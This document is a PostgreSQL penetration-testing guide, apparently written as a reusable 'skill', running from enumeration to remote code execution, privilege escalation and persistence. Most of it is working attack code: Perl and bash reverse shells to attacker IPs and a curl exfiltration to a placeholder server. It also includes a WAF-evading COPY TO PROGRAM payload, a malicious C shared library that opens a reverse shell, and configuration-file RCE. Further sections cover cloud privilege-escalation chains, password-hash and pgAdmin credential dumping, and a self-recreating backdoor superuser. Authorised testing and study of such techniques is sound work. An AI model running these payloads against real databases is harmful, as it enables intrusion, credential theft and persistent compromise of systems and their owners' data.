Postgresql Pentesting

PostgreSQL Pentesting Skill

A comprehensive guide for PostgreSQL database penetration testing, from initial enumeration to privilege escalation and remote code execution.

Quick Reference

Connection & Basic Enumeration

Establish Connection

# Local connection
psql -U <myuser>

# Remote connection with database
psql -h <host> -U <username> -d <database>

# Remote with port and password
psql -h <host> -p <port> -U <username> -W <password> <database>

# Localhost with password prompt
psql -h localhost -d <database_name> -U <User>

Initial Reconnaissance

-- List all databases
\list
SELECT datname FROM pg_database;

-- Switch to database
\c <database>

-- List tables
\d

-- List users and roles
\du+

-- Get current context
SELECT user;
SELECT current_catalog;

-- List schemas
SELECT schema_name, schema_owner FROM information_schema.schemata;
\dn+

-- Get languages available
SELECT lanname, lanacl FROM pg_language;

-- Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

-- Get command history
\s

AWS PostgreSQL Detection

If you see a database called rdsadmin when running \list, you're inside an AWS PostgreSQL database.

SELECT datname FROM pg_database WHERE datname = 'rdsadmin';

Automatic Enumeration

Metasploit Modules

# Version scanner
msf> use auxiliary/scanner/postgres/postgres_version

# Database name flag injection
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

# Hash dump
msf> use auxiliary/scanner/postgres/postgres_hashdump

# Schema dump
msf> use auxiliary/scanner/postgres/postgres_schemadump

# Read file
msf> use auxiliary/admin/postgres/postgres_readfile

# Payload delivery
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

Port Scanning via dblink

Use dblink to scan internal ports from within PostgreSQL:

SELECT * FROM dblink_connect(
  'host=1.2.3.4
   port=5678
   user=name
   password=secret
   dbname=abc
   connect_timeout=10'
);

Error interpretation:

• No route to host → Host is down
• Connection refused → Port is closed
• server closed the connection unexpectedly → Port is open
• password authentication failed → Port is open, wrong credentials
• Connection timed out → Port is open or filtered

Privilege Enumeration

Role Privileges

-- Get detailed user roles and groups
SELECT
  r.rolname,
  r.rolsuper,
  r.rolinherit,
  r.rolcreaterole,
  r.rolcreatedb,
  r.rolcanlogin,
  r.rolbypassrls,
  r.rolconnlimit,
  r.rolvaliduntil,
  r.oid,
  ARRAY(SELECT b.rolname
        FROM pg_catalog.pg_auth_members m
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
        WHERE m.member = r.oid) as memberof,
  r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

-- Check if current user is superuser
SELECT current_setting('is_superuser');
-- Returns 'on' for true, 'off' for false

Important Role Flags

Critical Groups

-- Check membership in sensitive groups
SELECT r.rolname, m.member
FROM pg_roles r
JOIN pg_auth_members m ON r.oid = m.roleid
WHERE r.rolname IN ('pg_execute_server_program', 'pg_read_server_files', 'pg_write_server_files');

Group capabilities:

• pg_execute_server_program → Execute OS commands
• pg_read_server_files → Read any file
• pg_write_server_files → Write any file

Table Permissions

-- Get table owners
SELECT schemaname, tablename, tableowner FROM pg_tables;

-- Get tables where current user is owner
SELECT schemaname, tablename, tableowner 
FROM pg_tables 
WHERE tableowner = current_user;

-- Get your permissions over tables
SELECT grantee, table_schema, table_name, privilege_type 
FROM information_schema.role_table_grants;

-- Check permissions on specific table
SELECT grantee, table_schema, table_name, privilege_type 
FROM information_schema.role_table_grants 
WHERE table_name = 'pg_shadow';

Function Permissions

-- List all functions
\df *

-- List functions by pattern
\df *pg_ls*

-- Check function permissions
\df+ pg_read_binary_file
\df+ pg_ls_dir
\df+ pg_read_file

-- Get all functions in pg_catalog schema
\df pg_catalog.*

-- Detailed function listing
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
    LEFT JOIN information_schema.parameters 
    ON routines.specific_name = parameters.specific_name
WHERE routines.specific_schema = 'pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

-- Alternative function listing
SELECT * FROM pg_proc;

File System Access

Read Files

-- Method 1: COPY (requires pg_read_server_files or superuser)
CREATE TABLE demo(t text);
COPY demo FROM '/etc/passwd';
SELECT * FROM demo;
DROP TABLE demo;

-- Method 2: pg_ls_dir (list directory)
\c postgres  -- Switch to postgres database first
SELECT * FROM pg_ls_dir('/tmp');

-- Method 3: pg_read_file (read file)
SELECT * FROM pg_read_file('/etc/passwd', 0, 1000000);

-- Method 4: pg_read_binary_file
SELECT * FROM pg_read_binary_file('/etc/passwd');

Write Files

-- Simple file write (requires pg_write_server_files or superuser)
-- Note: COPY cannot handle newlines, use base64 encoded one-liner
COPY (SELECT convert_from(decode('<BASE64_PAYLOAD>', 'base64'), 'utf-8')) 
TO '/tmp/payload.sh';

-- Binary file upload requires alternative methods (see RCE section)

Get Data Directory

-- Find PostgreSQL data directory
SELECT setting FROM pg_settings WHERE name = 'data_directory';

-- Common paths:
-- /var/lib/postgresql/<VERSION>/main/
-- /var/lib/PostgreSQL/<VERSION>/<CLUSTER_NAME>/

Remote Code Execution (RCE)

COPY ... TO PROGRAM

-- Basic command execution
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

-- Reverse shell (Perl)
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

-- Exfiltration example
COPY (SELECT '') TO PROGRAM 'curl http://YOUR-SERVER?f=`ls -l|base64`';

Bypass WAF Keyword Filters

-- Build COPY dynamically to bypass filters
DO $$
DECLARE cmd text;
BEGIN
  cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
  EXECUTE cmd;
END $$;

Configuration File RCE

Via ssl_passphrase_command

-- 1. Dump private key
SELECT * FROM pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key', 0, 1000000);

-- 2. Encrypt the key locally
-- openssl rsa -aes256 -in downloaded.key -out encrypted.key

-- 3. Overwrite config using Large Objects
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
SELECT encode(lo_get(114575), 'escape');

-- 4. Write new config with RCE payload
SELECT lo_from_bytea(223, decode('<BASE64_CONFIG>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 5. Reload configuration
SELECT pg_reload_conf();

Config payload:

ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on

Via archive_command

-- 1. Check if archive mode is enabled
SELECT current_setting('archive_mode');

-- 2. Overwrite archive_command
-- Use Large Objects for multi-line config (see above)

-- 3. Reload configuration
SELECT pg_reload_conf();

-- 4. Trigger WAL operation
SELECT pg_switch_wal();
-- or for older versions:
SELECT pg_switch_xlog();

Via preload libraries

-- 1. Set dynamic library path
-- dynamic_library_path = '/tmp:$libdir'

-- 2. Set preload library
-- session_preload_libraries = 'payload.so'

-- 3. Upload malicious .so to /tmp
-- 4. Reload configuration
SELECT pg_reload_conf();

-- 5. New connections will load the library

Malicious library template:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
  int port = 4444;
  struct sockaddr_in revsockaddr;
  int sockt = socket(AF_INET, SOCK_STREAM, 0);
  revsockaddr.sin_family = AF_INET;
  revsockaddr.sin_port = htons(port);
  revsockaddr.sin_addr.s_addr = inet_addr("10.10.10.10");
  connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
  dup2(sockt, 0);
  dup2(sockt, 1);
  dup2(sockt, 2);
  char * const argv[] = {"/bin/bash", NULL};
  execve("/bin/bash", argv, NULL);
}

Compile:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

Privilege Escalation

CREATEROLE Privesc

If you have CREATEROLE privilege, you can grant yourself access to sensitive roles:

-- Grant file read access
GRANT pg_read_server_files TO current_user;

-- Grant file write access
GRANT pg_write_server_files TO current_user;

-- Grant command execution access
GRANT pg_execute_server_program TO current_user;

-- Change other users' passwords
ALTER USER target_user WITH PASSWORD 'new_password';

Escalate to SUPERUSER

-- If local trust authentication is enabled
COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER current_user WITH SUPERUSER;"';

Check pg_hba.conf for trust authentication:

# Look for these entries:
local   all             all                                     trust
host    all             all             127.0.0.1/32            trust
host    all             all             ::1/128                 trust

ALTER TABLE Privesc (GCP Cloud SQL)

-- 1. Create tables
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');

-- 2. Create IMMUTABLE function first
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

-- 3. Create index with function
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

-- 4. Change table owner to cloudsqladmin
ALTER TABLE temp_table OWNER TO cloudsqladmin;

-- 5. Replace function with VOLATILE version containing payload
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql VOLATILE AS 
  'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

-- 6. Trigger execution via ANALYZE
ANALYZE public.temp_table;

-- 7. Check results
SELECT * FROM shell_commands_results;

SECURITY DEFINER Function Abuse

-- Find SECURITY DEFINER functions
SELECT proname, prosrc 
FROM pg_proc 
WHERE prosrc LIKE '%SECURITY DEFINER%';

-- Check function details
\df+ function_name

-- Exploit if vulnerable to SQL injection or parameter control
SELECT function_name(attacker_controlled_params);

Overwriting pg_authid Filenode

-- 1. Get data directory
SELECT setting FROM pg_settings WHERE name = 'data_directory';

-- 2. Get filenode path for pg_authid
SELECT pg_relation_filepath('pg_authid');
-- Returns: base/1/1258 (example)

-- 3. Import filenode
SELECT lo_import('/var/lib/postgresql/13/main/base/1/1258', 13337);

-- 4. Get table datatype
SELECT STRING_AGG(
    CONCAT_WS(',', attname, typname, attlen, attalign), ';'
) FROM pg_attribute
JOIN pg_type ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = 'pg_authid';

-- 5. Edit filenode externally using postgresql-filenode-editor
-- Set all rol* flags to 1 for superuser

-- 6. Re-upload edited filenode
SELECT lo_from_bytea(13338, decode('<BASE64_EDITED_FILENODE>', 'base64'));
SELECT lo_export(13338, '/var/lib/postgresql/13/main/base/1/1258');

-- 7. Clear cache (optional)
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea);

Event Trigger Privesc (Supabase)

-- 1. Create escalation function
CREATE OR REPLACE FUNCTION escalate_priv()
RETURNS event_trigger AS $$
DECLARE
  is_super BOOLEAN;
BEGIN
  SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user;
  IF is_super THEN
    BEGIN
      EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123''';
    EXCEPTION WHEN duplicate_object THEN NULL;
    END;
    BEGIN
      EXECUTE 'GRANT priv_esc TO postgres';
    EXCEPTION WHEN OTHERS THEN NULL;
    END;
  END IF;
END;
$$ LANGUAGE plpgsql;

-- 2. Register event triggers
DROP EVENT TRIGGER IF EXISTS log_start CASCADE;
DROP EVENT TRIGGER IF EXISTS log_end CASCADE;
CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv();
CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();

-- 3. Trigger the extension install hook
DROP EXTENSION IF EXISTS postgres_fdw CASCADE;
CREATE EXTENSION postgres_fdw;

-- 4. Use the new superuser role
SET ROLE priv_esc;

Local Enumeration

Check Configuration Files

# Find PostgreSQL config files
find /etc/postgresql -maxdepth 4 -type f \
  \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null

# Check socket and credentials
ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null

# Search for authentication settings
rg -n "^(host|local)|trust|peer|md5|scram|password|ssl" /etc/postgresql 2>/dev/null

# Query as postgres user
sudo -u postgres psql -c 'SHOW hba_file; SHOW config_file;'
sudo -u postgres psql -c '\du'

pgAdmin Credentials

# Find pgadmin database
find ~ -name "pgadmin4.db" 2>/dev/null

# Extract credentials
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"

# Decrypt using pgadmin crypto module
# See: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

Post-Exploitation

Enable Logging

-- Check current logging settings
SHOW log_statement;
SHOW logging_collector;

-- Enable comprehensive logging (requires superuser)
ALTER SYSTEM SET log_statement = 'all';
ALTER SYSTEM SET logging_collector = on;
ALTER SYSTEM SET log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log';
SELECT pg_reload_conf();

-- Find log files
-- /var/lib/postgresql/<VERSION>/main/log/
-- /var/lib/postgresql/<VERSION>/main/pg_log/

Credential Harvesting

-- Dump password hashes
SELECT usename, passwd FROM pg_shadow;

-- Get all role information
SELECT rolname, rolpassword, rolsuper, rolcanlogin, rolvaliduntil
FROM pg_authid;

-- For SCRAM authentication (PostgreSQL 10+)
SELECT rolname, rolpassword FROM pg_authid;

Persistence

-- Create backdoor user
CREATE ROLE backdoor WITH SUPERUSER LOGIN PASSWORD 'backdoor123';

-- Add to sensitive groups
GRANT pg_execute_server_program TO backdoor;
GRANT pg_read_server_files TO backdoor;
GRANT pg_write_server_files TO backdoor;

-- Create event trigger for persistence
CREATE OR REPLACE FUNCTION persist_backdoor()
RETURNS event_trigger AS $$
BEGIN
  IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = 'backdoor') THEN
    EXECUTE 'CREATE ROLE backdoor WITH SUPERUSER LOGIN PASSWORD ''backdoor123''';
  END IF;
END;
$$ LANGUAGE plpgsql;

CREATE EVENT TRIGGER persist_trigger ON ddl_command_end
EXECUTE FUNCTION persist_backdoor();

Helper Scripts

See the scripts/ directory for:

• pg_enum.sh - PostgreSQL enumeration helper
• pg_priv_check.sh - Privilege checking utility
• pg_config_edit.py - Configuration file manipulation

Important Notes

1. Permission Requirements: Most advanced techniques require pg_read_server_files, pg_write_server_files, pg_execute_server_program, or superuser privileges.

2. CREATEROLE Abuse: If you have CREATEROLE, you can often grant yourself the above permissions.

3. Local Trust Auth: Check pg_hba.conf for trust authentication which allows passwordless local access.

4. Large Objects: Use lo_import, lo_export, lo_from_bytea for binary-safe file operations.

5. Version Differences: Some functions and behaviors vary by PostgreSQL version. Check with SELECT version();

6. Cloud Platforms: GCP Cloud SQL, AWS RDS, and Supabase have specific privilege escalation vectors unique to their configurations.

References

• PostgreSQL Documentation: https://www.postgresql.org/docs/
• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
• CVE-2019-9193: https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/
• PostgreSQL Filenode Editor: https://github.com/adeadfed/postgresql-filenode-editor